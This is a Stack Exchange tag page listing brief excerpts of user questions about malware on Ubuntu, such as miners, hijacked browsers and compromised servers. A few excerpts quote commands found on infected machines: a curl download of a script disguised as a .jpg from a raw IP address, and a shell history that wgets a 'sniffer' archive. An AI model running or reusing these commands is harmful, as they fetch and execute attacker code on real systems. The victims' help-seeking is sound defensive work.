Stack Exchange Network

Stack Exchange network consists of 174 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [malware]

Questions relating to malicious software

0
votes
0answers
29 views

meltdown_v1, spectre_v2 capabilities on 18.04 LTS [duplicate]

Hardware more than Operating System related but: When running cat /proc/cpuinfo from the terminal I am given the lovely output: bugs: meltdown_v1_spectre_v2_speculative_bypass The infected CPU is a ...
-2
votes
0answers
35 views

A shady background process taking over an entire CPU core [on hold]

Lately, I noticed that I always have busy CPU and the reason for this is a process that I don't manually start and I don't know its origin. It doesn't have a window or any obvious source, all I see is ...
0
votes
0answers
30 views

System Logs - Security Issue: Firmware Bug

I am new to Linux as a user and like what I've seen so far. I plan on continuing with Ubuntu as my primary OS. Unfortunately I have an ongoing malware infections which wasn't eliminated with the ...
0
votes
1answer
42 views

Strange CPU usage behaviour with systemd, sleep, initctl or gvfsd processes owned by user

I have noticed in my 'indicator-multiload' application that my CPU usage some time after booting is raised permanently at about 50 to 100 percent. After running 'top' I can see a process owned by the ...
0
votes
1answer
406 views

How to remove naganoadigei.com popup virus

Whenever I click any URL so that will open a new tab with this URL (Please be careful): hxxp://naganoadigei.com/imp/6932/?scontext_r=xlBO1OGoXtDY%2AqpCVwdK6hjcJXf8xQdE2bF9D7qYvJirlGAXcl42kf_7I6Zo60fY&...
-1
votes
0answers
115 views

Malware on Ubuntu

I have a Lubuntu 18.04 installation, and I got a virus on it! I never though that I could get a virus on Linux, but apparently I can. I don't what virus specifically is, but it removed all the items (...
64
votes
1answer
11k views

Notification saying “A new Virus is Stealing Data!” on Ubuntu 18

Recently whenever I open Firefox I get a message in notification center. It's not always the same and it keeps changing. here is an example: It's not always this. It gives other messages too and ...
0
votes
1answer
68 views

Unusuall activity

I'm a new user as you can see, so sorry if the question is boring or imprecise. I upgraded my Ubuntu 16.04 to 18.04 and everything was fine. But after a power outage, something went wrong. It did not ...
2
votes
1answer
43 views

How can I find the origin of a process and stop it permanently?

I have an Ubuntu system running an apache server. I have found a process cache.sh which I think might be a crypto-mining process and which is running all the time on my server consuming up to 98% CPU. ...
0
votes
1answer
57 views

Removing W32/Parite.B virus

I scanned one of my directory with clamscan and it showed that every .exe file is infected: .../file.exe: Heuristics.W32.Parite.B FOUND .../file2.exe: Heuristics.W32.Parite.B FOUND .../file3.exe: ...
0
votes
0answers
53 views

Virus detection in browsers

I have downloaded and installed ubuntu on my home pc. I have firefox (preinstalled) and installed chrome. I am now trying to download a miner to my pc which I know will flag as a virus. Everytime I ...
1
vote
2answers
510 views

Some supisious software making request to nmcheck.gnome.org

Since last few days my system popup a Ubuntu default web-browser and make request to nmcheck.gnome.org website and immediately shut off after this issue I can not run system update also, I am php ...
1
vote
1answer
67 views

Test firefox for virus/hijacker

I am a bit concerned about my firefox being hijacked or something. I went to a website and it opened a pop-up asking firefox to be updated. I knew immediately it was a malicious code because it ...
0
votes
0answers
70 views

zukxd6fkxqn redirect in Firefox

I am running Ubuntu 16.04. While using Firefox occasionally the browser will open another tab then automatically close it. The tab will have an address along the lines of zukxd6fkxqn .com. I know that ...
0
votes
0answers
16 views

Do scripts in cron update when programs are updated?

I have recently found a lot of brute force SSH attempts on my server. As a result of that, I have changed the port of my server and put a few firewalls in place to make it harder for my server to be ...
1
vote
1answer
245 views

Scanning External Drives for Viruses - Ubuntu [duplicate]

So I recently installed Ubuntu onto one of my Computers and would like to uses it to scan external drives USB and what not for viruses that can affect windows PC. Is there a possible antivirus or ...
1
vote
1answer
124 views

Slurm new user on Ubuntu 18.04

I am a very new user of Ubuntu (escaped from Windows recently) and yesterday when I was turning on my PC I found new user listed in login options with a nickname "Slurm" (I am the only user with a ...
1
vote
0answers
37 views

Chrome re-directs to spam site

This might be a little unrelated to this stack but I could not find a more suitable place. I am running Ubuntu 16.04 and have chrome installed on it. The problem is when I try to access a particular ...
0
votes
0answers
65 views

infection or problem

I'm a 25 years experience technician on windows system, 1 year on Ubuntu. this week I face an issue that my experience tells me its an infection. On my desktop system I was trying to create a ...
2
votes
3answers
298 views

Can I get a virus/malware from only visiting websites?

When I use Firefox and browse the web, can I get viruses or malware without downloading and installing anything? For example, from bad scripts?
0
votes
1answer
99 views

How do I clean Ubuntu installation of Viruses / Miners?

So it appears our VPS is being hacked, I noticed websites running slow so I checked for processes using htop. There are various cpuminers present, getting processor to nearly 100% usage. I think hack ...
1
vote
1answer
98 views

Can my system be infected with the Trojan known as commondatastorage?

On Facebook, a friend sent a post with many names including mine. There was a video and I clicked. It opened a page with nothing. The URL started with commondatastorage.google.apis and more. Nothing ...
1
vote
1answer
43 views

Malware by wine [duplicate]

If a portable windows program has malware and I open it by wine, just close it to do away with the malware? Sorry for my grammar. I'm not fluent in English Thank you
2
votes
1answer
115 views

interpreting message in “virustotal”

I wonder if anyone can help me with the results of my virustotal-scan (online virus lab). I submitted a pdf-file of an Russian-German textbook ("1_Ulrike_Patow_Gabriela_Stelzig_Russisch_bitte.pdf") ...
1
vote
1answer
8k views

Does Ubuntu 18.04LTS require antivirus/malware? [duplicate]

(not duplicated because i'm specifying version of Ubuntu, other questions are about ubuntu without version) Does ubuntu 18.04LTS require antivirus/malware? wich is the best option? if yes. i have ...
1
vote
1answer
41 views

What precaution should users take when installing proprietary snaps to avoid malware? [duplicate]

Proprietary snaps contributed by a particular entity were removed from the snap store as described in How to ask to ban the application for security reasons?. What cautions should users take before ...
3
votes
0answers
63 views

Where to complain about applicaton in Software Center?

Recently I tried applicaton Qstamina-snap. And when I opened it there another window appear with advertising and I can't use application itself, when I close ad then app close too. And I'm not sure if ...
2
votes
0answers
52 views

How locked user keeps running?

I got a compromised server, most likely a crypto miner or something, htop reports this: 30393 geauxsmar 20 0 5328 3984 2540 R 100. 0.1 21h26:45 [sync_supers] I locked it with: sudo usermod --...
0
votes
0answers
87 views

sync_supers are created again and again for www-data [duplicate]

I have updated drupal 7 from 7.2 to 7.59., but the problem remains the same. 4353 www-data 20 0 24392 3888 1012 R 100.0 0.0 13:15.26 [sync_supers] 5268 www-data 20 0 24392 3888 1012 R 100.0 0.0 9:42....
0
votes
1answer
101 views

windows virus on usb will run on ubuntu 16.04? [duplicate]

As the title suggest, is it really possible that a virus/malware/spyware or anything bad that will affect my pc, will be transferable and "AUTO-RUN" from a USB with files copied from a Windows OS(...
3
votes
2answers
1k views

suppoie malware removal (script hidden in .jpg)

Found this on an Ubuntu 16.04 server. Malware I guess, but is there a guide to make sure I can clean it all out? curl -s http://158.69.133.18:8220/logo7.jpg #!/bin/sh ps aux | grep -vw suppoie | awk ...
-3
votes
1answer
327 views

I am getting this http://onclickrev.com redirects from chrome and mozilla

I am getting this http://onclickrev.com redirects from Chrome and Mozilla Firefox when ever I view sites that are not secured connects - like http:/******.com and the CPU usage goes above 60%. Is ...
0
votes
0answers
261 views

How to remove Ad Malware/Virus from Google Chrome which causes ads to appear in list of results?

Screenshot of Ads appearing as chrome search results: I don't know what got into my system. I am really fed up with these. I have looked up all my extensions and did not find anything malicious. I ...
0
votes
1answer
59 views

Trying to remove brontok virus, don't understand output of 'ps aux | grep .exe'

I have what I think is the brontok virus. Trying to remove it following this post How do I remove the brontok virus that has infected my Ubuntu via Wine? I entered the command ps aux | grep .exe ...
1
vote
0answers
58 views

How to scan for suspicious php files on filesystem

As in the title, I would like to scan some directories on my local filesystem for suspicious (eg. obfuscated, system-calls, create-method calls, strange file names,... ) PHP-Files. Is there a known ...
0
votes
0answers
94 views

Is org.debian.apt.update-cache legitimate or spyware? [duplicate]

My filename: Spyware or something else bad - ask Linux Ubuntu 2018-Mar-05 I signed into my user account and an Authenticate window popped up. (I only use my Admin account to update Ubuntu every day I ...
24
votes
2answers
6k views

Found SSH Backdoor on VServer. What to do?

Yesterday I checked my history of commands on my VServer. I found several suspicious lines. 195 wget aridan.hol.es/sniffer.tgz 196 tar xvf sniffer.tgz 197 ls -a 198 rm -rf sniffer.tgz ...
0
votes
0answers
424 views

How can I remove JS:Cryptonight[Tri]?

I accidentally got infected with JS:Cryptonight[Tri], which is a Cryptocurrency Miner that makes use of my CPU power to mine Monero (XMR) coins. I was doing some daily research for my job and I got ...
1
vote
3answers
511 views

google search results page hijacked by search.interactivesplash.com

I noticed after unsubscribing from a junk mail, not sure this was a good idea, when I did a Google search using Chromium Web browser, the results page showed up, but very quickly before I could click ...
0
votes
1answer
61 views

Help with hijacked dns

When I try to navigate to a domain that I know doesn't exist, I automatically get routed to advexplore dot com which shows me a search bar and genealogy links. This is obviously not a default ...
-3
votes
1answer
86 views

Possible ransomware

I have an SSD with Ubuntu on a partition and /home on another partition. I also have another HDD installed on the system. The SSD is connected through PCIe so the hard drive access red led doesn’t ...
0
votes
0answers
43 views

Mozilla and Chromium Hijacked, ClamAV blocked, system slow and unstable

So a day ago I switched from Windows to Ubuntu because I'm being targeted by a hacker and cleaning my computer was becoming a full-time job. I was in a social media site when firefox started getting ...
0
votes
2answers
173 views

Ubuntu 14.04 is CrossRat malware a threat?

I saw a link about CrossRat Malware on Quora, is this Malware a problem on Ubuntu 14.04? I have not been able to find the location listed for linux on my Ubuntu. Also I generally have Java shut off ...
1
vote
0answers
142 views

storage.googleapis.com malware on chromium

I did a serious mistake of opening the following malware link on my chromium browser: hover here below to show probably dangerous link I wish to know what are the implications, on the OS as well ...
1
vote
0answers
89 views

Deep Freeze simulation

I am running Ubuntu 16.04.1 on my desktop. I wonder if I could create a similar environment as Deep Freeze on my computer by creating a new user with Standard permissions. Let me explain: With the ...
5
votes
1answer
932 views

Why has the “Ubuntu app” full access to my Google account?

The same (or similar) topic was already covered on Ask Ubuntu some time ago: Ubuntu 17.04 Chromium Browser quietly provides full access to Google account I just performed a new clean installation ...
0
votes
0answers
55 views

After upgrading to 17.10 it takes 1 minute to start sometimes more than 1 minute.

1-After upgrading the system totally became slow. It takes more time to load files even to open files it takes 10 to 20 seconds. How can I solve this issue? 2- When I start it shows your PC at risk.
2
votes
0answers
124 views

Firefox process has a long list of arguments looks suspicous [duplicate]

Firefox has a config option (browser.tabs.remove.autostart.2) enabled by default. My Firefox was hanging, so I checked the process and it looked suspicious, so I verified the same with a new Firefox ...
2
votes
1answer
350 views

Getting rid of a virus

So I know Linux isn't supposed to get viruses, but it really looks like I have one. A tab popped in firefox saying an update was required and it wouldn't let me close it (it did not look like a ...
0
votes
1answer
109 views

I have found virus on Ubuntu, what to do? [closed]

My LAMP server got a virus. (I think.) The root partition started to fill up. But there is no clue as to what it filled up with (no logs). After restart, the used space of the root went back to 4% (as ...